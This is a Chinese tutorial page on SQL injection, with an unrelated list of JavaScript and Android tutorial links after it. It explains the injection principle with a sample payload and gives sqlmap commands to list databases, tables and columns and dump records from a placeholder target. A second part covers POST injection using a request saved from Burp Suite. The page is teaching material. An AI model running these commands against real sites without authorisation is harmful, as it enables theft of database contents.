利用burpsuite+sqlmap POST自动化注入详解
介绍sql注入之前,我们有必要了解一下大致的网站架构,以典型架构LAMP为例
对于很多企业来说,最重要的就是数据. 而这也成为sql注入被很多黑客广泛应用的一种攻击方式
sql注入的原理
1.以我们进行百度搜索时某个"关键词"时,我们客户端的请求就会被带入数据库查询.
2.正常情况下,我们应该请求一些正确的内容,比如 www.baidu.com/s?id=1
这里,id=1是正常的参数
3.但是如果说某个网站存在sql注入漏洞,没有对客户端的输入做过滤,那么当我输入s?id=1' and select database() --+
这里and后的语句就是"非法语句",显然服务端不希望我们获取响应信息.这时,sql注入就出现了.
4.简单来说,sql注入就是服务端没有对客户端的输入信息做过滤,并且信息被带入了数据库查询.
5.了解了sql注入的原理,就知道sql注入的条件了: 对用户端输入过滤不严格;并且可以带入数据库查询.
常用工具
sqlmap:代替手动,自动构造大量的sql语句探测漏洞,高效发现目标信息 burpsuite:抓包,拦截抓取到请求的参数,如果目标不是get请求,我们无法在url中拼接参数,所以需要抓包再结合sqlmap进入注入测试
get注入(使用sqlmap)
假设 http://www.test.com/fu?id=111
是存在注入点的url
①sqlmap注入爆数据库
python sqlmap.py -u "http://www.test.com/fu?id=111" --dbs
②爆出对应数据库中所有的表
python sqlmap.py -u "http://www.test.com/fu?id=111" -D 库名 --tables
③爆出对应表的列名
python sqlmap.py -u "http://www.test.com/fu?id=111" -D 库名 -T 表名 --columns
④爆出表的所有记录
python sqlmap.py -u "http://www.test.com/fu?id=111" -D 库名 -T 表名 -C "字段1,字段2,字段3,字段4" --dump
上述语法中 `-u` 可以省略
post注入(burpsuite+sqlmap)
post请求无法通过以上的 sql语句直接扫描,下面是对于post请求的SQL漏洞测试方法
①通过burpsuite 查看请求
右键copy to file
将请求内容保存为文件
②打开sqlmap
爆数据库语句 sqlmap -r 前面保存的位置 -p 请求参数 --dbs
获取库名后,爆表、字段、记录其它用法和get类型的请求一致
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Android仿iphone自定义滚动选择器
- Android仿iPhone日期时间选择器详解
- Android 仿余额宝数字跳动动画效果完整代码
- Android中判断listview是否滑动到顶部和底部的实现方法
- Android开发实现的简单媒体播放器功能示例
- Android中的颜色表示的详解
- android使用SoundPool播放音效的方法
- android中Context深入详解
- Android中Notification通知用法详解
- Android build文件的删除的方法
- Android自定义Notification添加点击事件
- 深入理解Android Bitmap
- Android基于AlarmManager实现用户在线心跳功能示例
- 详解Android中获取软键盘状态和软键盘高度
- Android流式布局FlowLayout详解